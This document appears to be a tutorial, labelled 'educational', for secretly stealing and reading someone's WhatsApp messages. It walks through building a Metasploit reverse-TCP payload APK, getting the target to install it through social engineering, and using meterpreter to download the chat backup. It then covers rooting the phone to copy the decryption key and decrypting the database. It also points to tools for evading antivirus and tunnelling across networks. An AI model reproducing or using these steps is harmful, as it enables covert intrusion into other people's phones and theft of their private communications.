Educational!

Metasploit + Decrypt12 => Message Backup Databases

Requirements :

Python3

https://www.python.org/download/releases/3.0/

Decrypt12 :

https://github.com/EliteAndroidApps/WhatsApp-Crypt12-Decrypter/blob/master/decrypt12.py

Metasploit Framework :

https://www.metasploit.com/download or just install using Package Manager (Linux)

Termux (install unstable repo then install Metasploit using package manager)

Db Browser

Dont Say FAKE!!! Read This!

>>>>>> Need to know how to use terminal (Basic) <<<<<<

>>>>>> Know what is Metasploit and how to use it <<<<<<

>>>>>> Running Python File <<<<<<

More : *"Target Phone need to be rooted! Why ? u need root acces to get **key** file (/data/data/com.whatsapp/files/**key**) you can try this script to root target phone through shell (Tutorial at the end of page), and u can use Phantom-Evasion to hide Payload apk into original apk to evasion anti virus (link at the end of page). For different network you can use **ngrok** (link at the end of page)"*

1. Make Apk Payload

```
msfvenom  -p  android/meterpreter/reverse_tcp  lhost=192.168.1.10  lport=4444
R > Payload.apk
```

msfvenom	= Metasploit command
-p	= payload of metasploit android/...../..._tcp (for android)
lhost	= fill with your ip address
lport	= whatever you want 8888,2222,1238
R >	= Output file (apk)

2. Configure Metasploit console

- ***msfconsole***
- ***use multi/handler***
- ***set payload android/meterpreter/reverse_tcp***
- ***set lhost 192.168.1.10 (remember your ip address)***
- ***set lport 4444 (must be same with msfvenom configure)***
- ***run / exploit***

Then you need make target to install the aplication (Payload.apk(Use Your Social Engineering)) and running the apk. If apk has been running, meterpreter will open.

3. Starting To Steal The Data

```
meterpreter >        cd /storage/emulated/0/WhatsApp/databases/
meterpreter >        download name_of_file_decrypt12
meterpreter >        shell
meterpreter >        su (granted root acces)
meterpreter >        cd /data/data/com.whatsapp/files/
meterpreter >        cp -f key /storage/emulated/o/WhatsApp/databases/
                     Use ctrl+c to terminate shell
meterpreter >        download key
```

4. Decrypt Database

Make all file in one folder (key, name_of_file_decrypt12, decrypt12)

Get into directory of folder , on terminal type :

```
python3 decrypt12.py key name_of_file_decrypt12 output.db
```

Run database browser and open output.db with this

Sqlitebrowser :

open database

Click browse data

Select table message

And thats it you can read all message

name_of_file_decrypt12 is the database backup chat , e.g
msgstore-2019-11-06.1.db.crypt12 > 2019-11-06 is the time of file backup

MORE

|

V

To download decrypt12.py u can use :

- ***git clone <link>***

To root tarrget phone trough shell , download the file and extract it

https://github.com/v1rtualMachine/vm

On meterpreter :

- ***meteroreter > upload /your_directory/root_file_name.sh***

You need to know location of root_file_name.sh , And you need to know location where you upload the root_file_name.sh

Its when you run shell on meterpreter (see number 3)

- ***cd /directory/of/root_file_name.sh***
- ***sh root_file_name.sh***

For evasion anti virus :

Phantom evasion : https://github.com/oddcod3/Phantom-Evasion

you can read tutorial from that link

For Metasploit with different network :

Ngrok : https://ngrok.com/

Tutorial on link

FOR EDUCATIONAL PURPOSE ONLY !!!